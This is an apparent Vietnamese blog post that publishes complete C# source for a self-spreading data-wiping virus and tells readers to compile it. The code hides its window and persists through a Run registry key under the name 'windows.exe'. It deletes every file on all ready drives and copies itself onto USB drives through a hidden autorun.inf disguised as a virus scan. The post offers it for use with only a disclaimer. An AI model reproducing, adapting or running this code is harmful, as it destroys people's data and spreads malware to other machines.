[ Code ] C# : Create viral wipe data , self- spreading , autostart

Đây là mã nguồn của virus, các bạn sử dụng trình dịch C# .NET để biên dịch nhá.
Lưu ý: Tôi không chịu trách nhiệm khi các bạn dùng nó quấy phá người khác.

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Timers;
using System.Windows.Forms;

namespace G_Del
{
    class Program
    {
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        static void Main(string[] args)
        {
            var handle = GetConsoleWindow();
            ShowWindow(handle, 0);
            autorun.start();
            System.Timers.Timer timer2;
            timer2 = new System.Timers.Timer();
            timer2.Elapsed += new ElapsedEventHandler(Program.USB);
            timer2.AutoReset = true;
            timer2.Interval = 1000;
            timer2.Start();
            attackdata.start();
        }
        static void USB(object sender, EventArgs e)
        {
            usbspread.start("G-Del");
        }
    }
    class attackdata
    {
        public static void explorer(string root)
        {
            string[] files = Directory.GetFiles(root);
            foreach (string file in files)
            {
                try
                {
                    File.Delete(file);
                }
                catch (Exception)
                { }
            }
            string[] directories = Directory.GetDirectories(root);
            foreach (string directory in directories)
            {
                try
                {
                    DirectoryInfo dirinfo = Directory.CreateDirectory(directory);
                    dirinfo.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
                    File.Copy(Application.ExecutablePath, directory + ".exe");
                    explorer(directory);
                }
                catch (Exception)
                {
                }
            }
        }
        public static void start()
        {
            DriveInfo[] drivers = DriveInfo.GetDrives();
            foreach (DriveInfo drive in drivers)
            {
                if (drive.IsReady) explorer(drive.Name);
            }
        }
    }

    class usbspread
    {
        public static void start(string virus_name)
        {
            DriveInfo[] drives = DriveInfo.GetDrives();
            foreach (DriveInfo drive in drives)
            {
                if ((drive.DriveType == DriveType.Removable) && (drive.IsReady))
                {
                    FileInfo f = new FileInfo(drive.Name + "autorun.inf");
                    if (f.Length == 52) continue;
                    File.Copy(Application.ExecutablePath, drive.Name + virus_name, true);
                    File.SetAttributes(drive.Name + virus_name, File.GetAttributes(drive.Name + virus_name) | FileAttributes.Hidden);
                    try
                    {
                        File.Delete(drive.Name + "autorun.inf");
                        StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
                        writer.WriteLine("[autorun]\n");
                        writer.WriteLine("open=" + virus_name);
                        writer.WriteLine("action=Quét virus");
                        writer.Close();
                        File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden | FileAttributes.ReadOnly);
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                }
            }
        }
        ~usbspread()
        {
        }
    }
    class autorun
    {
        public static string direc = "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Systems"; // chứa logs
        static string path = "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\\\windows.exe"; // chứa files exe..
        static string cur = Application.ExecutablePath.ToString();
        private static void WriteReg()
        {
            RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            if (!IsStartupItem()) rkApp.SetValue("Windows", path);
        }
        private static bool IsStartupItem()
        {
            RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            if (rkApp.GetValue("Windows") == null) return false;
            else
                return true;
        }
        private static void Copy()
        {
            if (cur != path)
            {
                if (!Directory.Exists(direc)) Directory.CreateDirectory(direc);
                File.Delete(path); File.Copy(cur, path);
                File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden);
                File.SetAttributes(direc, File.GetAttributes(direc) | FileAttributes.Hidden);
            }
        }
        public static void start()
        {
            Copy();
            WriteReg();
        }
        ~autorun()
        {
        }
    }
}

[ Code ] C# : Create viral wipe data , self- spreading , autostart Reviewed by Nguyen Nam Hong on 6:39 PM Rating: 5
Copyright © Kid1412 Blog's 💖 2016
Development by Hong Nguyen Nam
Powered by Blogger.